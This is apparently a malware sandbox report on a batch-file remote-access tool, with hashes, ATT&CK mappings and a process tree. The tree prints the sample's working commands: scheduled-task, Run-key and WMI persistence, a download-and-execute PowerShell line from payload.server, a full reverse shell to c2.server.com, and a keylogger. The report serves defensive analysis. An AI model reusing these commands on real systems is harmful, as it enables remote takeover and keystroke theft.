1e390e2f0c202576dfebbf123fd611a79cde353bb26d8c5926e82555c86efd15

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:24

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General

Target
rat_build_55377_014220.bat
Size 4KB
Sample260529-2bfbgac16j
SHA256 1e390e2f0c202576dfebbf123fd611a79cde353bb26d8c5926e82555c86efd15
MD5 5a0129ff4e7b00fc4649279593304a1e
SHA1 cf2f77822e7bad415bad08f130be32627485c554
SHA512 64b6968bc40eb171e22e96db60b5b76e52cb1496e8231a78196ccb4ba6fedb314691fb5df975290d2d57798a212d561413f9670ec4e7cf96052f8563b5ae2352
SSDEEP 96:0GI/NWE/zuFvzpKmbFYWDmKjfq4f3TBMyRcFeDgFxZiFgZk8mvlo1QZc:0GlE/zuVMuXm4PtMy+eDIiFgkHl7Zc
TLSH
T17FA1E8139BA7712499F06254DB333D18972CEAF71305C98EBB49CDC84A8CA43B1297D7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_55377.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3908	powershell.exe
4824	powershell.exe
3576	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_55377 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_55377.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2956	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2640	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1032	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1884	schtasks.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4824	powershell.exe
4824	powershell.exe
4824	powershell.exe
3576	powershell.exe
3576	powershell.exe
3576	powershell.exe
3908	powershell.exe
3908	powershell.exe
3908	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3968	WMIC.exe
Token: SeSecurityPrivilege	3968	WMIC.exe
Token: SeTakeOwnershipPrivilege	3968	WMIC.exe
Token: SeLoadDriverPrivilege	3968	WMIC.exe
Token: SeSystemProfilePrivilege	3968	WMIC.exe
Token: SeSystemtimePrivilege	3968	WMIC.exe
Token: SeProfSingleProcessPrivilege	3968	WMIC.exe
Token: SeIncBasePriorityPrivilege	3968	WMIC.exe
Token: SeCreatePagefilePrivilege	3968	WMIC.exe
Token: SeBackupPrivilege	3968	WMIC.exe
Token: SeRestorePrivilege	3968	WMIC.exe
Token: SeShutdownPrivilege	3968	WMIC.exe
Token: SeDebugPrivilege	3968	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3968	WMIC.exe
Token: SeRemoteShutdownPrivilege	3968	WMIC.exe
Token: SeUndockPrivilege	3968	WMIC.exe
Token: SeManageVolumePrivilege	3968	WMIC.exe
Token: 33	3968	WMIC.exe
Token: 34	3968	WMIC.exe
Token: 35	3968	WMIC.exe
Token: 36	3968	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3968	WMIC.exe
Token: SeSecurityPrivilege	3968	WMIC.exe
Token: SeTakeOwnershipPrivilege	3968	WMIC.exe
Token: SeLoadDriverPrivilege	3968	WMIC.exe
Token: SeSystemProfilePrivilege	3968	WMIC.exe
Token: SeSystemtimePrivilege	3968	WMIC.exe
Token: SeProfSingleProcessPrivilege	3968	WMIC.exe
Token: SeIncBasePriorityPrivilege	3968	WMIC.exe
Token: SeCreatePagefilePrivilege	3968	WMIC.exe
Token: SeBackupPrivilege	3968	WMIC.exe
Token: SeRestorePrivilege	3968	WMIC.exe
Token: SeShutdownPrivilege	3968	WMIC.exe
Token: SeDebugPrivilege	3968	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3968	WMIC.exe
Token: SeRemoteShutdownPrivilege	3968	WMIC.exe
Token: SeUndockPrivilege	3968	WMIC.exe
Token: SeManageVolumePrivilege	3968	WMIC.exe
Token: 33	3968	WMIC.exe
Token: 34	3968	WMIC.exe
Token: 35	3968	WMIC.exe
Token: 36	3968	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2528	WMIC.exe
Token: SeSecurityPrivilege	2528	WMIC.exe
Token: SeTakeOwnershipPrivilege	2528	WMIC.exe
Token: SeLoadDriverPrivilege	2528	WMIC.exe
Token: SeSystemProfilePrivilege	2528	WMIC.exe
Token: SeSystemtimePrivilege	2528	WMIC.exe
Token: SeProfSingleProcessPrivilege	2528	WMIC.exe
Token: SeIncBasePriorityPrivilege	2528	WMIC.exe
Token: SeCreatePagefilePrivilege	2528	WMIC.exe
Token: SeBackupPrivilege	2528	WMIC.exe
Token: SeRestorePrivilege	2528	WMIC.exe
Token: SeShutdownPrivilege	2528	WMIC.exe
Token: SeDebugPrivilege	2528	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2528	WMIC.exe
Token: SeRemoteShutdownPrivilege	2528	WMIC.exe
Token: SeUndockPrivilege	2528	WMIC.exe
Token: SeManageVolumePrivilege	2528	WMIC.exe
Token: 33	2528	WMIC.exe
Token: 34	2528	WMIC.exe
Token: 35	2528	WMIC.exe
Token: 36	2528	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2528	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3148 wrote to memory of 1884	3148	cmd.exe	86
PID 3148 wrote to memory of 1032	3148	cmd.exe	87
PID 3148 wrote to memory of 3968	3148	cmd.exe	88
PID 3148 wrote to memory of 2528	3148	cmd.exe	89
PID 3148 wrote to memory of 4720	3148	cmd.exe	90
PID 3148 wrote to memory of 2640	3148	cmd.exe	105
PID 3148 wrote to memory of 2956	3148	cmd.exe	108
PID 3148 wrote to memory of 4824	3148	cmd.exe	109
PID 3148 wrote to memory of 3576	3148	cmd.exe	110
PID 3148 wrote to memory of 3908	3148	cmd.exe	111

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_55377_014220.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3148
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_55377" /tr "C:\Users\Admin\AppData\Local\Temp\_55377.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1884
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_55377" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_55377.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:1032
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_55377", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3968
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_55377", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_55377.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2528
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_55377.txt
  2⤵
  PID:4720
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:2640
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:2956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_55377.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3908

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ec99862883ae4b983dc875a49f702b7d3f2da977b534131bc66ec7cb55125926
MD5 be12a1ab84f5a42051e0d8aa7b25a2ef
SHA1 258554be10f06b8894905ae3975456980b0d5f5e
SHA512 63072cd7cd933521772a8146860309c0607f91b190b4e4ebe3ead3479caa71333aa617cf1b498a9d758bab68cee334b7ceb4e3aa802d14572cc8bfb536d18a0a
TLSH
T10C117627F39CC921CC96153A509DAC1172B683DB81AEDF9FAFC4D214A17F984CB712A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8c54d4148a9e2a3b524f471f99aa3d48778239ae494908b544ef8f014d7d0eee
MD5 5ed3bd9bc72e312aadc7571ad8786379
SHA1 c6cc90bf1250e7ec5cd7680a9689940cec6398da
SHA512 d020f76b71142f58c990f62354c568d9cee901a2e808d11d4e6d439aa3ffc36f070d613e3bd9522aaa1d44d3288c91c89fcf911600fdad9e96d3900c12941c47
TLSH
T18E115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_julzhn2b.tjp.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_julzhn2b.tjp.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/4824-3-0x0000016B3A4C0000-0x0000016B3A4E2000-memory.dmp

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